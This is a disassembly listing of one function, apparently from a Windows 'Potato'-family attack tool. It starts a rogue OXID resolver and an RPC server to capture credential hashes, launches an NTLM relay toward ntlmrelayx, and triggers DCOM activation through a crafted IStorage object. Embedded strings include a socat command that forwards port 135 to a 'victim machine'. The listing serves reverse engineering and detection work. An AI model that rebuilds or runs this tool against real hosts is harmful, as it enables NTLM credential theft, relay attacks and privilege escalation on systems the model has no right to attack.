Function at 0x402840
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x218
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x214], eax
mov eax, dword [ebp + 0xc]
lea edx, [esp + 0x180]
movups xmm0, xmmword [str.127.0.0.1]
push esi
push edi
mov dword [esp + 0x10], eax
lea edi, [esp + 0x1c8]
or eax, 0xffffffff
mov dword [esp + 8], edx
mov ecx, 0x13
mov dword [esp + 0x14], eax
mov eax, dword [0x42068c]
mov esi, str.5167B42F_C111_47A1_ACC4_8EABE61B0B54
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x180], eax
movzx eax, word [0x420690]
mov word [esp + 0x184], ax
mov eax, dword [0x4206a4]
mov dword [esp + 0x1b0], eax
movzx eax, word [0x4206b0]
mov word [esp + 0x19c], ax
movzx eax, word [0x4206bc]
mov word [esp + 0x190], ax
lea eax, [esp + 0x180]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c8]
movups xmmword [esp + 0x1a0], xmm0
mov dword [esp + 0xc], eax
lea eax, [esp + 0x1a0]
movq xmm0, qword [str.9999]
movsw word es:[edi], word [esi]
movq qword [esp + 0x194], xmm0
xor edi, edi
cmp dword [ebp + 8], 1
movq xmm0, qword [str.9997]
mov dword [0x4245ac], eax
lea eax, [esp + 0x194]
movq qword [esp + 0x188], xmm0
mov dword [0x4245b0], eax
jle 0x402cb6
mov esi, dword [esp + 0x10]
add esi, 4
mov ecx, dword [esi]
cmp word [ecx], 0x2d
jne 0x4029f3
movzx eax, word [ecx + 2]
add eax, 0xffffff9d
cmp eax, 0x15
ja case.0x402964.100
movzx eax, byte [eax + 0x402d4c]
jmp dword [eax*4 + 0x402d24]
push dword [esi + 4]
add esi, 4
call fcn.0040b4fd
add esp, 4
mov dword [esp + 0x14], eax
jmp 0x4029d8
mov edi, dword [esi + 4]
add esi, 4
jmp 0x4029d8
mov eax, dword [esi + 4]
add esi, 4
mov dword [esp + 0x18], eax
jmp 0x4029d8
mov edx, dword [esi + 4]
add esi, 4
mov dword [esp + 8], edx
jmp 0x4029dc
push dword [esi + 4]
add esi, 4
call fcn.0040b4fd
add esp, 4
mov dword [0x4238c0], eax
jmp 0x4029d8
mov eax, dword [esi + 4]
add esi, 4
mov dword [esp + 0xc], eax
jmp 0x4029d8
mov eax, dword [esi + 4]
add esi, 4
mov dword [0x4245b0], eax
jmp 0x4029d8
mov eax, dword [esi + 4]
add esi, 4
mov dword [0x4245ac], eax
mov edx, dword [esp + 8]
mov eax, dword [ebp + 8]
add esi, 4
add eax, 0xfffffffe
mov dword [ebp + 8], eax
cmp eax, 1
jg 0x402941
jmp 0x4029f7
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x14]
cmp esi, 0xffffffff
je 0x402cb6
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1a0]
mov dword [esp + 0x24], eax
mov eax, dword [0x4245b0]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
test esi, esi
je 0x402a46
cmp esi, 2
je 0x402a46
mov dword [esp + 0x24], str.127.0.0.1
mov dword [esp + 0x28], 0x4209d8
jmp 0x402b03
push 0
push 0
push dword [0x4245b0]
mov dword [0x4245b8], edx
push 0x402d70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x118
lea eax, [esp + 0x58]
push 0
push eax
call fcn.00405090
add esp, 0xc
mov dword [esp + 0x50], 0x11c
push str.RtlGetVersion
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x50]
push ecx
call eax
cmp dword [esp + 0x54], 0xa
ja 0x402ac1
cmp dword [esp + 0x5c], 0x42ee
ja 0x402ac1
push str.___Detected_a_Windows_Server_version_compatible_with_JuicyPotato._RogueOxidResolver_can_be_run_locally_on_127.0.0.1_n
call fcn.00401050
add esp, 4
mov al, 1
jmp 0x402afa
lea eax, [esp + 0x1a0]
cmp dword [0x4245ac], eax
je 0x402cc2
push dword [0x4245b0]
push edi
push str.___Detected_a_Windows_Server_version_not_compatible_with_JuicyPotato._RogueOxidResolver_must_be_run_remotely._Remember_to_forward_tcp_port_135_on__S_to_your_victim_machine_on_port__S_n
call fcn.00401050
push dword [0x4245b0]
push str.___Example_Network_redirector:__n_tsudo_socat__v_TCP_LISTEN:135_fork_reuseaddr_TCP:ThisMachineIp:_S_n
call fcn.00401050
add esp, 0x14
xor al, al
mov byte [0x4245b4], al
test esi, esi
je 0x402b34
cmp esi, 1
je 0x402b34
push str.___Starting_the_RPC_server_to_capture_the_credentials_hash_from_the_user_authentication___n
call fcn.00401050
add esp, 4
lea eax, [esp + 0x1c]
push 0
push 0
push eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x402e90
push 0
push 0
call eax
mov dword [esp + 8], eax
jmp 0x402b6b
test edi, edi
je 0x402ce6
push edi
push str.___Starting_the_NTLM_relay_attack__launch_ntlmrelayx_on__S___n
call fcn.00401050
add esp, 8
lea eax, [esp + 0x1c]
push 0
push 0
push eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x402eb0
push 0
push 0
call eax
mov dword [esp + 8], eax
test esi, esi
je 0x402b74
cmp esi, 2
jne 0x402c7a
cmp dword [0x4238c0], 0xffffffff
jne 0x402c71
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0
push eax
push 1
push 0
mov dword [esp + 0x24], 0
call dword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea eax, [esp + 0x14]
push eax
push 0
push 0x1012
push dword [esp + 0x24]
call dword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
push 0x10
call fcn.00403c23
mov esi, dword [sym.imp.ole32.dll_CLSIDFromString]
xorps xmm0, xmm0
add esp, 4
mov dword [esp + 0x10], eax
movups xmmword [eax], xmm0
mov ecx, dword [esp + 0x14]
lea edi, [eax + 4]
mov dword [eax], vtable.IStorageTrigger.1.0
mov dword [eax + 8], ecx
mov dword [eax + 0xc], 1
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x10]
mov dword [edi], vtable.IStorageTrigger.0
call esi
lea eax, [esp + 0x30]
push eax
push str.00000000_0000_0000_C000_000000000046
call esi
push dword [esp + 0xc]
lea eax, [esp + 0x34]
mov dword [esp + 0x17c], 0
push str.___Calling_CoGetInstanceFromIStorage_with_CLSID:_S_n
mov dword [esp + 0x17c], eax
mov dword [esp + 0x184], 0
call fcn.00401050
add esp, 8
lea eax, [esp + 0x174]
push eax
push 1
push edi
push 4
push 0
lea eax, [esp + 0x54]
push eax
push 0
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
cmp dword [0x4245a8], 0
mov ecx, eax
je 0x402cfa
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x402c7a
mov ecx, dword [esp + 0xc]
call fcn.00402ee0
push 0xffffffffffffffff
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x21c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret
call fcn.004030e0
push 0
call fcn.00406d6b
push ecx
push str.Wrong_Argument:__S_n
call fcn.00401050
add esp, 8
call fcn.004030e0
push 0xffffffffffffffff
call fcn.00406d6b
push str.____Detected_a_Windows_Server_version_not_compatible_with_JuicyPotato__you_cannot_run_the_RogueOxidResolver_on_127.0.0.1._RogueOxidResolver_must_be_run_remotely._n
call fcn.00401050
push dword [0x4245b0]
push str.____Example_Network_redirector:__n_tsudo_socat__v_TCP_LISTEN:135_fork_reuseaddr_TCP:ThisMachineIp:_S_n
call fcn.00401050
add esp, 0xc
push 0xffffffffffffffff
call fcn.00406d6b
push str.____Remote_HTTP_Relay_server_ip_must_be_set_in_module_0_and_1__set_it_with_the__r_flag._n
call fcn.00401050
add esp, 4
push 0xffffffffffffffff
call fcn.00406d6b
cmp ecx, 0x80080004
jne 0x402d0d
mov ecx, dword [esp + 0xc]
mov eax, str.____Error._CLSID__S_not_found._Bad_path_to_object._n
jmp 0x402d12
mov eax, str.____Error._Trigger_DCOM_failed_with_status:_0x_x_n
push ecx
push eax
call fcn.00401050
add esp, 8
push 0xffffffffffffffff
call fcn.00406d6b
nop
mov ah, 0x29
inc eax
add byte [esp + ebp + 0x29930040], bl
inc eax
add byte [ebx + 0x29], ch
inc eax
add al, al
sub dword [eax], eax
jg 0x402d63
inc eax
add byte [edi - 0x78ffbfd7], bl
sub dword [eax], eax
int 0x29
inc eax
add byte [eax + 0x402c], ch
or dword [ecx], ecx
or dword [ecx], ecx
add dword [ecx], ecx
or dword [ecx], ecx
add al, byte [ebx]
or dword [ecx], ecx
add al, 9
add eax, 151586566
or dword [eax], ecx
int3
int3